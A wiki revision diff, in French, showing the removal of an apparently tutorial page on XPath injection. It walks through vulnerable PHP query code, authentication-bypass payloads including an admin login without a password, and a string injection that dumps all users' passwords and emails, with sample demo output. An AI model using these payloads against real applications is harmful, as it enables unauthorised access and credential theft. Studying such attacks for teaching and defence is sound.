Ci-dessous, les différences entre deux révisions de la page.
web:injection_xpath [2016/03/15 08:59] yorin Xpath Injection |
web:injection_xpath [2016/07/04 08:38] |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
- | __**1) XPATH Authentification**__ | ||
- | **Le code :** | ||
- | <code>$xpath = "//username[username='" . $_GET['username'] . "' and password='" . $_GET['password'] . "']";</code> | ||
- | |||
- | Voici en gros ce qu'il se passe derrière l'authentification, | ||
- | Maintenant, notre but est d'utiliser un tweak sur les valeurs username et password pour renvoyer une réponse **TRUE** et bypasser l'authentification. | ||
- | |||
- | Une partie a découvrir, c'est le noeud courant. Pour rappel la sémantique d'une Xpath est Un axe, un noeud, des prédicats. Ici notre noeud est username: | ||
- | Pour tester : | ||
- | <code> username=' or '1'='1 </code> | ||
- | |||
- | username est le nom de la variable renvoyé par le formulaire, on ferme ensuite la chaîne de caractères avec **'** puis on ajoute une vérité : | ||
- | **or '1'='1** | ||
- | On n'ajoute pas de **'** , $xpath s'en charge pour nous. | ||
- | |||
- | Au final, la chaîne $xpath donnera: | ||
- | |||
- | <code> $xpath = "//username[username='' or '1'='1' and password='' or '1'='1']"; </code> | ||
- | |||
- | Se connecter avec le premier utilisateur : <code> username=' or '1'='1&password=' or '1'='1 </code> | ||
- | Cette requête renverra TRUE, nous serons donc loggé avec la première utilisateur de la liste, ici FrankyVincent. | ||
- | Si vous suivez un peu, vous voyez déjà que l'on peut bypasser le password par une fermeture en plus ! Voici: | ||
- | |||
- | <code> username=' or '1'='1' or ''='&password= </code> | ||
- | |||
- | ce qui donne dessous la machine : | ||
- | |||
- | <code> $xpath = "//username[username='' or '1'='1' or ''='' and password='']"; </code> | ||
- | |||
- | Ainsi, si nous chainons deux or, le prédicat est stoppé avant password bypassant ainsi l'utilisation d'un mot de passe. L'utilité ? Se logger en admin par exemple | ||
- | |||
- | <code> username=admin' or '1'='1' or ''='&password= </code> | ||
- | |||
- | |||
- | __**2) Injection string:**__ | ||
- | |||
- | Ce type d'injection est possible sur un champs de recherche d'utilisateur par exemple. | ||
- | Nous cherchons a créer une erreur avec **' )'** ce qui renverra : | ||
- | |||
- | <code> Invalid XPath syntax : //username/user[contains(., '' )')] </code> | ||
- | |||
- | En voici une erreur qui en dit long ! On récupère notre noeud (username/user), et l'info de l'utilisation de contains, y'a pu qu'à injecter comme on dit ! | ||
- | Il est important de savoir que contains attend un string en paramètre qui va être chercher dans le | ||
- | |||
- | Notre but est donc de fermer la requête, fermer le prédicat puis recommencer une requête complète. | ||
- | Et tada : | ||
- | |||
- | <code> username=')][('1'='1 </code> | ||
- | |||
- | Au final, on obtient: | ||
- | |||
- | <code> $xpath=//username/user[contains(.,'')][('1'='1')] </code> | ||
- | |||
- | Cela listera les username : | ||
- | |||
- | **5 results | ||
- | |||
- | FrankyVincent | ||
- | admin | ||
- | Babar | ||
- | Tigrou | ||
- | Carlos** | ||
- | |||
- | C'est jolie tout ça mais, nous on veut du mdp ! Remontons d'un cran ! | ||
- | |||
- | <code> $xpath=//username/user[contains(.,'')]/../*[('1'='1')] </code> | ||
- | |||
- | On remonte dans l'arborescence et affiche tout le contenu de l'ensemble des noeuds “user” et tous ses attributs. | ||
- | |||
- | L'injection : <code> username=')]/../*[('1'='1 </code> renverra: | ||
- | |||
- | **1 | ||
- | FrankyVincent | ||
- | FruitDeL@Passion | ||
- | Cousin@cousinealui.com | ||
- | 2 | ||
- | admin | ||
- | Sup3rM0tD3p@sseD30uf | ||
- | admin@xpathpwnd.com | ||
- | admin | ||
- | |||
- | [...] | ||
- | |||
- | Carlos@decede.fr | ||
- | Décédé** |